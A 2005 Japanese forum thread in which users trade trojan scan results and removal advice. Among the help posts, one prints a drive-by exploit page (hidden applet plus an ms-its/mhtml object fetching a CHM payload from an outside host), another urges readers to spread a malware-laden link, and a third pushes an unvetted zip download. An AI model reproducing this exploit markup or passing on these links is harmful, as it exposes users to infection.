05/03/16 20:45:220741名無しさん＠お腹いっぱい。
05/03/17 16:20:41[フォルダ名]C:\ProgramFiles\Spybot-Search&Destroy\Includes
ファイル検索で「trojan」で検索したら上記のファイルが２つ出てきました。
削除しないとまずいですか？
0742741
05/03/17 16:57:530743名無しさん＠お腹いっぱい。
05/03/17 17:02:33ファイル検索って何の検索？
Spybot? WindowsのExplorer?
0744741
05/03/17 17:08:59スタートメニューにある検索です。
他板に貼られていたneverenjoykoreaの掲示板のアドレスを踏んだ後、
スレの流れで「トロイだ」と書かれていました。
ウィルス反応がありませんでした。
おそらく対策をしていないからなのだと思います。
0745名無しさん＠お腹いっぱい。
05/03/17 17:13:36トロイで自分でtrojanと名乗るファイルもなかろう。Spybotの中のファイルでしょ。
名前で検索しても無意味。対策ソフトでスキャンして判断してくれよ。
対策ソフトはこの板で探してね。
0746名無しさん＠お腹いっぱい。
05/03/17 17:15:19わかりました。
もし感染していない場合でも、このファイル名が出てくる事は有り得るのですか？
0747741=746
05/03/17 17:16:41>741=746です
0748名無しさん＠お腹いっぱい。
05/03/18 11:47:19W32/Sdbot.worm.gen
W32/Sdbot.worm.gen.j
W32/Sdbot.worm.gen.g
QLowZones-3
プレインスコされてたマカフィーのやつでスキャンしたらこいつらが見つかったのですが、駆除しようとしてもエラーになってしまいす。
どのように対処すればよいのでしょうか？
0749名無しさん＠お腹いっぱい。
05/03/18 11:58:03だめだあ それ
Temporary Internet Files以外から発見されたのなら、
他にもスキャンしても引っかからないものも
きっとインストールされている
リカバリーでもすれば？
0750名無しさん＠お腹いっぱい。
05/03/18 12:05:11ヘタレの自分には意味が理解できていないのですが、何をしてももうだめって事でしょうか？
とりあえず当てもないのでsymantec security checkしています。
0751750
05/03/18 12:57:08メモリ上でウィルスは見つかりませんでした。
C:\WINDOWS\system32\paydial.exe は Backdoor.Tofger に感染しています。
C:\RECYCLER\S-1-5-21-963639892-2690133624-1694720459-1003\Dc1.exe は Dialer.WSV に感染しています。
C:\Program Files\Live2ch\log\tmp4.2ch.net\download\1101842404.dat は VBS.Internal に感染しています。
C:\Program Files\Live2ch\log\sports7.2ch.net\sports\subject.txt は Bloodhound.Exploit.6 に感染しています。
C:\Program Files\Live2ch\log\live8.2ch.net\livetbs\1107746316.dat は Unix.Penguin に感染しています。
C:\Program Files\Live2ch\log\live8.2ch.net\livetbs\1107747481.dat は Unix.Penguin に感染しています。
C:\Program Files\Live2ch\log\live8.2ch.net\livecx\1109716837.dat は Unix.Penguin に感染しています。
C:\Program Files\Live2ch\log\live16.2ch.net\liventv\1109078839.dat は Unix.Penguin に感染しています。
C:\Program Files\Live2ch\log\game10.2ch.net\gameover\1107134318.dat は Unix.Penguin に感染しています。
C:\Program Files\gikoNavi\Log\2ch\sports\Folder.idx は Bloodhound.Exploit.6 に感染しています。
C:\Program Files\gikoNavi\Log\2ch\sports\subject.txt は Bloodhound.Exploit.6 に感染しています。
C:\Program Files\gikoNavi\Log\2ch\qa\subject.txt は Bloodhound.Exploit.6 に感染しています。
C:\Program Files\gikoNavi\Log\2ch\mnewsplus\1110897104.dat は VBS.Freelink.B に感染しています。
C:\Program Files\gikoNavi\Log\2ch\mnewsplus\1110978208.dat は VBS.Freelink.B に感染しています。
C:\Program Files\gikoNavi\Log\2ch\mnewsplus\1111053680.dat は VBS.Network.E に感染しています。
こんなんでましたけどかなり重症？
0752名無しさん＠お腹いっぱい。
05/03/18 13:15:33>C:\WINDOWS\system32\paydial.exe は Backdoor.Tofger に感染しています。
>C:\RECYCLER\S-1-5-21-963639892-2690133624-1694720459-1003\Dc1.exe は Dialer.WSV に感染しています。
ログファイルは実行されないからどうでもいいんだけど、
この２つは名前からしてダイヤラーかな
削除するには、セーフモードでスキャンしないときっと無理だろう
ttp://www.bbs.bun-chan.net/srec87.html
参考にでもなるのかな？
0753名無しさん
05/03/20 06:15:32トロイに感染したら何かへんかあるの？
ちなみに９８SE
0754名無しさん＠お腹いっぱい。
05/03/20 09:41:260755名無しさん＠お腹いっぱい。
2005/03/21(月) 10:10:53犯罪の踏み台にされて、ある日に突然、警察がＰＣと君を連れて行くかもね？
0756名無しさん＠お腹いっぱい。
2005/03/24(木) 20:35:13君はトロイ！
0757名無しさん＠お腹いっぱい。
2005/03/24(木) 23:42:36しょうがないから座布団１枚
0758名無しさん＠お腹いっぱい。
2005/03/31(木) 19:36:24ウイルスバスターのFWの除外設定を勝手変えられ、ヤフーのアカウントは乗っ取られ、パスも変えられ。
ヤフー昨日取ったばっかなのにさ('A`)・・・。バスターでなんでウイルス出てこないのか、考える事20時間
MX用にポート開放してたから、そこから侵入→トロイ→('A`)・・・。
もうMXなんかしないと、思わせてくれた長い一日でした。
0759名無しさん＠お腹いっぱい。
皇紀2665/04/01(金) 16:32:33プロセスがMXの場合のみ許可ってしてれば良いだけじゃね？
0760名無しさん＠お腹いっぱい。
皇紀2665/04/01(金) 16:37:14おまえは何をやっても無駄
だまって死んどけ ムシケラカス
0761名無しさん＠お腹いっぱい。
皇紀2665/04/01(金) 21:31:10遅ぇよ（笑）
0762名無しさん＠お腹いっぱい。
皇紀2665/04/01(金) 22:29:25ヒマなヤロ
0763名無しさん＠お腹いっぱい。
皇紀2665/04/01(金) 23:33:42三ヶ月前のレスへ
何がそんなに気に障ったのかw
0764名無しさん＠お腹いっぱい。
2005/04/02(土) 04:14:08誰がなんと言おうと貼っちゃってね(^_-)-☆
ttp://69.50.161.142/inc/nan7.html
オレはこれ踏んでからなんも対処してないぜｂ
0765名無しさん＠お腹いっぱい。
2005/04/10(日) 10:51:54トロイにはきちんと対処してもらわないと、あなたやあなたの友達だけじゃなく
世の中の人全般が迷惑するんですけど。
（あなたのパソコンが犯罪の踏み台にされるから）
0766名無しさん＠お腹いっぱい。
2005/04/11(月) 00:15:36の書き込みは何の意味？
0767名無しさん＠お腹いっぱい。
2005/04/11(月) 00:36:39↑このリンク先にあるトロイに昨日感染しました
どなたか駆除方法を教えていただけませんか？
いちよう自分でewidoというソフトをDLして削除してるのですが
その後少ししてewidoでスキャンするとまた感染ファイルが見つかってキリがないです…
他の板でも質問したのですがいちようこちらでも質問します
XPのceleronを使っています
0768名無しさん＠お腹いっぱい。
2005/04/11(月) 01:03:55トロイの名称を書けよ。お前のためにわざわざアクセスするととこから
始めないといけないのか
> 他の板でも質問したのですがいちようこちらでも
それを人はマルチポストと呼ぶ
0769名無しさん＠お腹いっぱい。
2005/04/11(月) 10:14:35昨日初めてa2を使ってみました 3つ検出されました
その次にewidoを使ってみました 何十個も検出されました（ewidoも昨日初めて使いました）
検出力が違うのかなあ。
それとも、駆除する必要のない物まで、ewidoは駆除しているのかなあ
0770名無しさん＠お腹いっぱい。
2005/04/11(月) 14:33:06おいおい、スレ開いたらいきなりバスターが動いたぞｗ
駆除できたからいいけど、むやみに貼るなよ・・・
0771名無しさん＠お腹いっぱい。
2005/04/13(水) 00:00:01多額の請求が来ることってありえるんでしょうか・・？
0772名無しさん＠お腹いっぱい。
2005/04/13(水) 11:20:15可能性としては、あり得る
一切トロイに感染しなくても、あり得るし。
0773名無しさん＠お腹いっぱい。
2005/04/13(水) 13:18:07可能性論を言うと、クレジットカード番号盗まれて多額の請求が来たり
大学の単位履修のログイン情報盗まれて今年の取得単位が0になったり
踏み台にされて警察にマシン押収されたりするかもしれない
とりあえず感染してると分かったならほっとかない方がいいとは思うよ
0774名無しさん＠お腹いっぱい。
2005/04/13(水) 18:04:43むやみにクリックするなよ。
2チャンだぞここはｗｗｗ
0775名無しさん＠お腹いっぱい。
2005/04/14(木) 12:24:530776名無しさん＠お腹いっぱい。
2005/04/14(木) 15:04:12あなたがリストアという言葉をどれだけ正確に使っているかもわからないし、
その質問には答えにくい。
0777名無しさん＠お腹いっぱい。
2005/04/14(木) 23:55:47ウイルスはさっさとリストラしてしまいなさい
0778セキュ初心者
2005/04/15(金) 19:41:21クッキーですか？
0779名無しさん＠お腹いっぱい。
2005/04/15(金) 19:43:32君が何を言っているのか僕にはよく分からないが、とりあえずここはトロイスレだ
http://www.google.com/search?hl=ja&q=%E3%82%B9%E3%83%91%E3%82%A4%E3%82%A6%E3%82%A7%E3%82%A2+%E7%99%BA%E8%A6%8B+%E5%89%8A%E9%99%A4&lr=lang_ja
このスレはもちろん他のスレにもしばらく書き込まず検索エンジンで色々やってみろ
0780名無しさん＠お腹いっぱい。
2005/04/15(金) 23:49:23a2では検出さえされない、、、
0781名無しさん＠お腹いっぱい。
2005/04/16(土) 09:32:29そういう時は、俺はこれを試してるよ
ewido【Trojan Horsesが気になる貴方に】
http://pc8.2ch.net/test/read.cgi/sec/1098285373/
スパイウェア削除ソフトSpybot 20
http://pc8.2ch.net/test/read.cgi/sec/1109267389/
スパイウェア削除ソフトAd-awareSE その20
http://pc8.2ch.net/test/read.cgi/sec/1111726744/
0782名無しさん＠お腹いっぱい。
2005/04/16(土) 22:09:27わざわざすいません、、、、さっそく試してみます
0783名無しさん＠お腹いっぱい。
2005/04/17(日) 01:01:38〟PWSteal.Lemir.H〝という名前でシマンテックで検索したら、
Legend of Mir 2 オンラインゲームのパスワードを盗み取ろうとするトロイの木馬プログラム
という事が分かったのですがノートンアンチウイルスでは発見は出来て、
削除出来ませんと出て、困っています。
ご存知の方、アドバイスお願い出来ないでしょうか、お願いします。
0784名無しさん＠お腹いっぱい。
2005/04/17(日) 02:19:08このページを見たんだよな？実際試した訳じゃないから何とも言えないけど
読む限り、この方法通りやれば駆除できると思うけど
0785782
2005/04/17(日) 03:18:59ewidoで駆除できました！！マジで助かりました！！
しかしノートンってなんなんだろうか。値段が高くて中途半端で
スキャンも遅くて７８４のシマンテックの案内どうりにやっても駄目で（しかも
指示語が嘘）
0786783
2005/04/17(日) 08:22:21そのページを見て一通りやってみました。
ただ、削除出来ないファイルがあるんです。
削除出来たファイルも隔離も不能で、
直接フォルダから削除ツール使って完全削除しました。
ウイルスバスターで検索したら他のトロイも見つかりました。
こっちは隔離出来たので良かったです。
他のソフト入れてみてもう少し粘って駆除出来なかったら
再セットアップします。どうもありがとうございました。
ちなみに Legend of Mir というゲームはやった事ないんですよね。
>>785
試しにewido入れてみます。
駆除おめでとうございます。
0787名無しさん＠お腹いっぱい。
2005/04/17(日) 10:41:16http://www3.ocn.ne.jp/~techu/stop_jword.html
簡単な設定で悪質な自動インストールを防げます
中国人の作ったＩＴテロソフトＪＷｏｒｄを排除しよう！
0788名無しさん＠お腹いっぱい。
2005/04/17(日) 11:29:02そもそもそのリンク先は、「自動」インストールを防ぐサイトじゃないし
JWORDにはたしかに困った点がある。
その事を正確に書けばいいのに、「書かない・書けない」アンチJWORDだらけ
0789名無しさん＠お腹いっぱい。
2005/04/17(日) 11:48:220790名無しさん＠お腹いっぱい。
2005/04/17(日) 11:53:040791名無しさん＠お腹いっぱい。
2005/04/17(日) 11:57:59>>790
も前ら、えらそなこと放いてセキュリティツールは何入れてるんじゃい？
0792名無しさん＠お腹いっぱい。
2005/04/17(日) 12:02:160793名無しさん＠お腹いっぱい。
2005/04/17(日) 12:12:19>>790
も前ら、えらそなこと放いてセキュリティツールは何入れてるんじゃい？
0794名無しさん＠お腹いっぱい。
2005/04/17(日) 15:01:320795名無しさん＠お腹いっぱい。
2005/04/17(日) 15:36:491.心構えが肝心な人だが、アンチウイルスは入れてなかった人。
2.心構えは普通の人だが、アンチウイルスを入れていた人。
さて、1と2のどちらがウイルス病原菌に強いのでしょうか？
0796名無しさん＠お腹いっぱい。
2005/04/17(日) 15:42:45セキュリティと心構えは表裏一体だ。
スキルのある人は、セキュリティの構築もそれなりのものがある。
0797名無しさん＠お腹いっぱい。
2005/04/17(日) 15:46:020798名無しさん＠お腹いっぱい。
2005/04/17(日) 15:52:350799名無しさん＠お腹いっぱい。
2005/04/17(日) 15:59:26運営人も一部にはいるから串がないと２ちゃんに来ちゃだめだよ。
0800名無しさん＠お腹いっぱい。
2005/04/17(日) 16:04:59まぁ馬鹿馬鹿しいと言わずに１回位勝ってみてもいいんじゃないの？にっぽん。
【今回のCNN投票】
Do you think China's anti-Japanese sentiment is justified? Yes or NO
中国の反日感情は正当化できますか？ Yes or NO
http://edition.cnn.com/2005/WORLD/asiapcf/04/15/china.japan/index.html
投票状況 現在NOがやや劣勢！世界は中国を否定する！
http://edition.cnn.com/POLLSERVER/results/17063.exclude.html
>■ 超かんたんＣＮＮ自動投票アプリ ■
>今度こそ最終版
>※readme.txtは必ず読んで下さい
>http://www.uploda.org/file/uporg77266.zip
※各所コピペ推奨
0801名無しさん＠お腹いっぱい。
2005/04/17(日) 16:10:210802名無しさん＠お腹いっぱい。
2005/04/17(日) 16:12:22えいごがなんてかいてあるのかわからないので、
きっと「いたちがいはうざいとおもいますか？」とかいてあるんだろうとおもった
yesにとうひょうした
0803名無しさん＠お腹いっぱい。
2005/04/19(火) 13:43:11http://pastorale.rdy.jp/test/read.cgi/tashiro/1113824057/
0804名無しさん＠お腹いっぱい。
2005/04/19(火) 22:21:32ここの№19ってトロイか？
0805名無しさん@お腹いっぱい。
2005/04/20(水) 23:05:26FireFox1.03で開いたらFireFoxがあがったりさがったりする。
うざいからタスクバーでFireFox終了させた。
0806名無しさん＠お腹いっぱい。
2005/04/21(木) 01:05:090807名無しさん＠お腹いっぱい。
2005/04/25(月) 22:07:43↓の症状も出てます。
＞＞そして、この不正プログラムは "WELCOME.EXE" を実行します。 "WELCOME.EXE" はコンピュータのCPU使用率を100パーセントにします。
この不正プログラムはすべてのファイルおよびアイコンを隠すことを試みます。これによりWindowsが使用できなくなることがあります。
対応方法がOSの再インストールをする事みたいなのですが、ｃドライブを消したくないのでどうにかそれ以外で対処法が無いでしょうか？
OSはMEです。ご存知の方いましたら御教授お願いします。
トレンドマイクロのデータ-ベースですttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_WINTRASH.D
0808名無しさん＠お腹いっぱい。
2005/04/26(火) 01:27:480809808
2005/04/26(火) 01:30:12ネット戦争でも始まったのか？
0810名無しさん＠お腹いっぱい。
2005/04/26(火) 10:17:19OS:Windows Me SecondEdition
IE:IE
最近どちらもパッチは当ててません。
トロイ対策としては、spybotを入れています。
昨日、トレンドマイクロオンラインスキャンにかけたところ、
トロイに感染してる模様です。
名前はTROJ_HKPROP.Aで、主にC\_RESTORE\TEMPの中のCPY
ファイルが感染していると出てきました。
が、データベースを探しても、Googleで検索しても、このトロイの詳細が
判りません。
spybotでスパイウェア等削除しIEのキャッシュをクリアしても何度も
出てきます。
これは一体なんでしょうか？
対処法はありますでしょうか？
よろしくお願いいたします。
0811名無しさん＠お腹いっぱい。
2005/04/26(火) 10:52:020812名無しさん＠お腹いっぱい。
2005/04/26(火) 11:05:39検索しようね。
http://www.google.com/search?hl=ja&q=_RESTORE&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=
0813名無しさん＠お腹いっぱい。
2005/04/26(火) 13:10:29慌ててもう一台のマシンと混同しました。すみません。
>>812
慌てて書き込んでしまいましたが、cabファイルやexeファイルにも
感染していて、手順の通りにしてもFIFOでも手動でも削除できません。
何度も再起動をかけましたが復元される模様です。
場所はc\_RESTORE\ARCHIVE\FS(数字).cab*A(数字).cpy* と、
c\windows\inertinfo.exeです。
どうしたらよいのでしょうか。よろしくお願いいたします。
0814名無しさん＠お腹いっぱい。
2005/04/26(火) 13:29:03検出名が間違ってないか？復元を無効にしたやり方は間違ってないか？
シマンテックのスキャンもやってみたら？
http://www.symantec.com/region/jp/securitycheck/index.html
あと、体験版のアンチウィルスをダウンロードしてインストールするという方法もある。
0815名無しさん＠お腹いっぱい。
2005/04/26(火) 13:29:21２ちゃんで助けて～なんつってる馬鹿は
自分で置いた石につまずいて電車に轢かれて息絶えればいい
0816名無しさん＠お腹いっぱい。
2005/04/26(火) 13:38:44感染してからアンチウィルスとか導入しても、
無効化されたり定義ファイル取りに行くのを阻止されたりすることがあるから、
ほんとは予防が肝心なんだよな。
0817名無しさん＠お腹いっぱい。
2005/04/26(火) 13:49:160819名無しさん＠お腹いっぱい。
2005/04/26(火) 17:32:20>>814
ありがとうございます。
試してみます。
>>817
トレンドマイクロ・オンラインスキャンではその名前が出てきました。
間違いないです。
仕方ないので検出されたファイルをまるごと全削除してみようと思います。
（その上でシステムに影響が出るようなら再インストールします…）
ありがとうございました。
0820名無しさん＠お腹いっぱい。
2005/04/27(水) 17:32:14gifan080.exe → Backdoor.Win32.Sandrator.c
以下のリンク2個とも 同じ結果でした。
ttp://www.hornet-works.com/
ttp://bar43.hp.infoseek.co.jp/lw/3/gifan080.zip
たのスキャンソフト使ってる方、どんな結果になるか
情報お願いします。
0821名無しさん＠お腹いっぱい。
2005/04/27(水) 19:01:00http://www.mwti.net/antivirus/mwav.asp
・ウイルスバスターOn-Line Scan
http://www.trendmicro.co.jp/hcall/index.asp
・Symantec Security Check
http://security2.norton.com/ssc/home.asp?j=1&langid=jp&venid=sym>;
・McAfee.com ウイルススキャンオンライン
http://www.sourcenext.com/mcafee/products/vso/>;
・BitDefender Scan OnLine
http://www.bitdefender.com/scan/Msie/index.php>;
・Command On Demand
http://www.commandondemand.com/eval/index.cfm>;
・DrWeb
http://www.dials.ru/english/www_av/home.htm>;
・Panda Active scan
http://www.pandasoftware.es/activescan/de/default.asp?IdVendor=1&IdLang=3&I>;
・Free online Trojan Scanner
http://www.trojanscan.com/
0822名無しさん＠お腹いっぱい。
2005/04/27(水) 23:32:42Kaspersky、BitDefender、Ewidoの最新定義で反応なし
誤検出くさいですね
0823名無しさん＠お腹いっぱい。
2005/04/27(水) 23:36:34レスサンクス。
0824名無しさん＠お腹いっぱい。
2005/05/02(月) 22:07:31違うファイルでも発見されたけど・・・Backdoor.Win32.Sandrator.c
0825名無しさん＠お腹いっぱい。
2005/05/02(月) 22:41:36誤検知 っぽいね
0826名無しさん＠お腹いっぱい。
2005/05/02(月) 23:00:07P2Pやアングラ巡りで不審なものをよく落としてくる人にはこういう判断がしづらいよね。
0827名無しさん＠お腹いっぱい。
2005/05/02(月) 23:30:090828名無しさん＠お腹いっぱい。
2005/05/03(火) 19:24:28tempの中にあったse.dllってのが感染してたみたい。
about:blank でsearch forというページにスタートアップ時のHPを固定しやがる
とりあえずトロイは脳豚で消したがスパイウェアが消えねぇー
0829名無しさん＠お腹いっぱい。
2005/05/04(水) 03:05:420830名無しさん＠お腹いっぱい。
2005/05/04(水) 23:30:09再起動したらバッファオーバーフローしたみたいな画面が大量に出て、
更にゴキブリが出てきたので、速攻Safeモードにして手動でそのファイルと
関連レジストリ消してなんとかなった。
これって有名なやつなんでしょうか？
0831名無しさん＠お腹いっぱい。
2005/05/04(水) 23:35:190832名無しさん＠お腹いっぱい。
2005/05/04(水) 23:42:25端折りすぎた('A`)
間違って変なファイルをダブルクリック＞何かインストールされた＞再起動したら小さいウインドウが大量に出て、
「バッファオーバーフロー～」とか書かれてた＞更に画面上にゴキブリが表示されて動きまくり
こういう状態になりますた。
0833名無しさん＠お腹いっぱい。
2005/05/04(水) 23:44:45Trojan.VBS.IFrameをとりあえず確認。
0834833
2005/05/05(木) 00:42:440835名無しさん＠お腹いっぱい。
2005/05/05(木) 02:26:36トロイじゃなくてウイルスだ
【使用OS】 XP home
【WindowsUpdateしてるか】 しています
【AntiVirusは何を使っているか】 使ってません
【別のオンラインスキャンしたならその結果は】 トレンドマイクロのオンラインスキャンで発見できず
【症状を具体的に、分かる限りすべて書く】
起動時に、窓が物凄い勢いで開きまくり、ゴキブリの画像が縦横無人に走っていきました
すぐその場で再起動かけましたが、マイドキュメント内のファイルが吹っ飛び、かわりに(･ё･)00001.jpgなどの
ファイルが作られていました。
【何をしたらそんなことになったのか】 とても人には言えないようなEXEファイルを開いてしまいました
EXEファイル自体はオンラインスキャンに反応もせず、安心してクリックしたところ、明らかにウィルス仕込まれた
ような挙動をしたので、すぐにその場でオンラインスキャンしたんですが何も検出されませんでした。
そして今朝再起動したところ、上のような症状が出た次第です。
【これまでにとった措置】 再起動してトレンドマイクロオンラインスキャンにかけています
つづき↓
>>912
これと違うか？
ダウンロードありがとうございますｍ(_ _)ｍ。
このソフトは、イタズラが目的のソフトです。
イタズラ以外に使い道がありません。
デスクトップにゴキブリやハエが出現したり、勝手にディスクをフォーマット(嘘ですが）したりします。
ハエやゴキブリは出現している間も、Windows通常の操作ができます。
出現時間や、出現するキャラクターの設定もできます。
ゴキブリやハエが嫌いな人は使用しないで下さい。(＾_＾;)
また、ジョークの分からない人、及び、心臓の弱い人に使用するのもやめてくださいｍ(_ _)ｍ
952 名無しさん＠お腹いっぱい。 sage 2005/05/02(月) 08:30:06
>>951
そのソフトを元に、誰かが悪質に改竄したものじゃないか？
データが書き換えられてるようだから。ジョークの域を超えている。
元ソフトはVectorでダウソできる。
0838名無しさん＠お腹いっぱい。
2005/05/06(金) 15:07:360839名無しさん＠お腹いっぱい。
2005/05/07(土) 17:57:33セキュリティ警告
ルールStrikeトロイの木馬のディフォルト切断のセキュリティ警告を製作しました。
というメッセージが止まらなくなってしまいました、ウイルスに感染しているのでしょうか？
0840名無しさん＠お腹いっぱい。
2005/05/08(日) 01:04:570841名無しさん＠お腹いっぱい。
2005/05/10(火) 19:01:58今は別PCから書き込んでますが、セーフモードでの起動もできなくなって困っております。
exeファイルをクリックしたときにavast!が反応して
Win32:Torjan-gen{UPX!}とか言ってましたが･････
0842名無しさん＠お腹いっぱい。
2005/05/12(木) 01:28:050843名無しさん＠お腹いっぱい
2005/05/12(木) 09:15:05私もハエ・ゴキ型ウイルス攻撃喰らいました。
攻撃直後にマイドキュないのデータ全て消失＞＿＜
あるソフトのパッチファイルに偽装していました。
0844名無しさん＠お腹いっぱい。
2005/05/12(木) 11:28:57トロイでもウィルスでもない不正プログラムだろう。
拾いに行って自分で実行しなければ被害にあわないし、
NT系なら管理者権限でログオンしてなければ実行しても被害にあわないはず。
0845名無しさん＠お腹いっぱい。
2005/05/12(木) 16:49:28検出されて隔離されます。これはどうなるんですか？
0846名無しさん＠お腹いっぱい。
2005/05/12(木) 21:03:50これ新種のトロイなんじゃないのかヽ(｀Å´)ﾉ
0847名無しさん＠お腹いっぱい。
2005/05/12(木) 21:17:060848名無しさん＠お腹いっぱい。
2005/05/13(金) 18:46:19という俺はトロイに感染してＨＤＤフォーマットしたはいいが、
ＯＳをインストールできない
（古いマシンでＦＤＤからじゃないとブートできないんだが、
セカンドマシンであるこれのＦＤＤが壊れててブートディスク作れねぇ）
から、新しいパソコンを購入する羽目になったわけだがな
ってか、トロイ目的で一番いいソフトってどれなんかなぁ
ewidoって常駐保護してる？
0849名無しさん＠お腹いっぱい。
2005/05/13(金) 20:12:11FDDを買ってくれば良いじゃん
ewidoの有料版の方は常駐しますよ
0850848
2005/05/14(土) 00:45:19いや、そうなんだけどどうせ買うなら新しいのと思って
古かったからついでに
ってか、ewido起動したらさ
「リアルタイムプロテクション有効」とか出てない？
やっぱ常駐保護じゃないのかな、それとも期日制限あるのか・・・
どっちにしろ、すり抜けたトロイに感染したわけだけどね・・・
search forに変わるのはCoolWebSearchじゃなかったっけ？>Spywawe
0852名無しさん＠お腹いっぱい。
2005/05/14(土) 22:48:33セーフモードで本体と関連レジストリを消せば何とかなるようですが、
レジストリで何を消せばいいのかわかりません。
どなたか教えてください。
0853名無しさん＠お腹いっぱい。
2005/05/15(日) 07:45:41「Troian.ByteVerify」に感染しちまったよ・・。
くたばれ！このオレ！！！
0854名無しさん＠お腹いっぱい
2005/05/15(日) 17:50:30これってデスクトップの憂鬱って言うジョークソフトを改造して作った悪質な
削除ファイルみたいだね
0855853
2005/05/16(月) 01:14:24上記のサイトを参考に対処してみたんだけど、
PCをセーフモードの状態でスキャンを実行という所で
セーフモードにしてもノートンを起動できなかったんだよね・・。
それで通常モードに戻してそれから起動してノートンのウイルス情報を更新してスキャン実行したら
削除できたんだけど、これで良かったのかな？
その後ノートンには［システムの状態：問題ありません］と表示されてるので
完全に駆除できたと判断して良い？
0856名無しさん＠お腹いっぱい。
2005/05/16(月) 21:20:33お前さん、FFDQ板の奴か？
0857名無しさん＠お腹いっぱい。
2005/05/16(月) 21:39:01winに常駐しちまってる。どこかに実行ファイルがあるはず。
俺はCAのオンラインスキャンで検査して手動で削除して復帰したぞ。
知り合いに頼まれたからだが、えらく手間がかかった。
というか、その時PCに入っていたノートンせんせじゃ発見、削除できず。
あとタスクマネージャーで動いている怪しいプロセスをググッてウイルスだと確信してから
消した。
セーフモードのプロンプトでしか消せない奴もあった。
0858名無しさん＠お腹いっぱい。
2005/05/16(月) 22:28:23var lang = navigator.systemLanguage;
if (lang == "ru") document.location = "http://awmcash.biz/adverts/nafig.html";
if (lang == "cn") document.location = "http://awmcash.biz/adverts/nafig.html";
if (lang == "zh") document.location = "http://awmcash.biz/adverts/nafig.html";
</script>
<html>
<head>
<title></title>
</head>
<body>
<applet CODE="BlackBox.class" width=1 height=1></APPLET>
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/x-scriptlet"></object>
</body>
</html>
0859名無しさん＠お腹いっぱい。
2005/05/16(月) 22:28:59おい
0860名無しさん＠お腹いっぱい。
2005/05/18(水) 19:32:340861名無しさん＠お腹いっぱい。
2005/05/20(金) 04:27:14アンチウイルスはavastを使っているんですがavastでは削除できず
オンラインスキャンをしてみたら感染していました
どうかお助けをお願いします
0862名無しさん＠お腹いっぱい。
2005/05/20(金) 04:40:210863名無しさん＠お腹いっぱい。
2005/05/20(金) 18:42:50マカフィーが、トロイがどうたらっていうのが出ました
今マカフィーのウイルススキャンしてるんですけど
感染ファイルが出てきたらどうすれば良いでしょうか
ＯＳはＸＰです
0864名無しさん＠お腹いっぱい。
2005/05/20(金) 18:44:09http://www1.ezbbs.net/14/sion158/
http://www.geocities.jp/hellworld_1/web.html
http://myhome.hananet.net/~crazyghost/goto.htm
http://i1i9.net/pp/?kwc
http://arvan.nobody.jp/online/
http://omanko45.tvheaven.com/
多分この中のどれかだと思います
0865名無しさん＠お腹いっぱい。
2005/05/20(金) 18:57:27感染ファイルが見つかりませんでした
マカフィーのウイルススキャンではひっかからないのでしょうか
0866名無しさん＠お腹いっぱい。
2005/05/23(月) 22:53:10ノートンで対策済み
なぜなら実際にそれ俺のパソに侵入しようとしてた
0867名無しさん＠お腹いっぱい。
2005/05/24(火) 17:57:20Blood hound Expoliteに感染していると言われるので、
検索結果に従い、セーフモードでスキャン中なのですが、
これで対策はあっているでしょうか？
セーフモードから通常に戻す方法も回答いただけるとありがたいです。
よろしくお願いします。
0868名無しさん＠お腹いっぱい。
2005/05/25(水) 04:44:35普通に再起動すれば良い
0869名無しさん＠お腹いっぱい。
2005/05/25(水) 13:44:15かつ自分の疑問に適切に答えられる程度のスキルか知識を持った人が
このスレに偶然いると思っているのか？
表示されたor検索で出てきた方法で対処するしかなかろーに
0870名無しさん＠お腹いっぱい。
2005/05/25(水) 16:16:06暇潰しがてらに俺様が自作自演してるだけだから気にするな禿げ
0871名無しさん＠お腹いっぱい。
2005/05/26(木) 17:44:20( ´_ゝ`)σ)Д`)
0872名無しさん＠お腹いっぱい。
2005/05/31(火) 01:44:12しかし、このバックドア、隔離も削除もできないんです・・・。mousehs.exeも同様に削除できない。
どうすればいいんでしょうか？
0873名無しさん＠お腹いっぱい。
2005/05/31(火) 01:47:000874名無しさん＠お腹いっぱい。
2005/05/31(火) 04:07:020875名無しさん＠お腹いっぱい。
2005/05/31(火) 04:31:23EXEはあなたのパソコンの中を走りまわっています、
ものすごい勢いで走ります、
最初から走ります、めっちゃ走ります。
RUNNING、そうです、イッツ ランニング パーフェクトリィ なのです。
お解りですか？
0876名無しさん＠お腹いっぱい。
2005/05/31(火) 21:58:060877裏タモリ ◆FO2HkZCJ9E
2005/06/01(水) 01:23:38最近、頭の中から知らない人の声が聞こえるんです。
誰かに操作されている。
このまま行くと私はどうなってしまうのでしょうか。
削除しようと思うのですが、怖いです。
0878名無しさん＠お腹いっぱい。
2005/06/01(水) 08:32:240879名無しさん＠お腹いっぱい。
2005/06/01(水) 08:42:180880名無しさん＠お腹いっぱい。
2005/06/01(水) 14:44:02TROJ_ISTBAR.GEN
TRPJ_DLDR.DLL
オンラインスキャンで調べたらこの三つ感染してたんだがどうやって消せばいいの？
ウイルスバスター購入せんとだめ？
0881名無しさん＠お腹いっぱい。
2005/06/01(水) 14:54:13英語で全然わからへん・・・
0883名無しさん＠お腹いっぱい。
2005/06/01(水) 16:15:20レジストリエディタとかなんてチンプンカンプンやし
0884名無しさん＠お腹いっぱい。
2005/06/01(水) 16:24:38http://news19.2ch.net/test/read.cgi/news/1117609611/
ＮＴＴドコモ東海が静岡、愛知、岐阜県内に設置した携帯電話基地局
約８００カ所の所在地や入局方法などをまとめた「社外秘」扱いの資料が、
ネット上に流出していることが分かった。事態を重視した同社はすべての
鍵を付け替えるなど緊急対策を実施した。ファイル交換ソフト「ウィニー」の
ウイルス感染が原因とみられる。
0885名無しさん＠お腹いっぱい。
2005/06/01(水) 20:07:33じゃあ製品を買えよ
0886名無しさん＠お腹いっぱい。
2005/06/02(木) 10:38:46Swat Itの公式ページ
ttp://swatit.org/
をYahoo↓とかのWeb翻訳サイトで訳せばいい
ttp://honyaku.yahoo.co.jp/url
0887テイト
2005/06/03(金) 23:36:07２ちゃんから別のサイトにジャンプしたら
（新シャア板 さすが○○は××のお家芸だなで1000を目指すスレ
の５３番のレスです・・）
トロイの木馬に感染した旨のメッセージが出ました
マカフィーセキュリテイースイーツを
使っていたので削除し、ウイルススキャンしても
異常はありませんでした
その後ｇｏｏなどで、オンラインウイルスチエックがあると聞き
ウイルスバスターとｓｙｍａｔｅｃｋの２社のを利用したところ
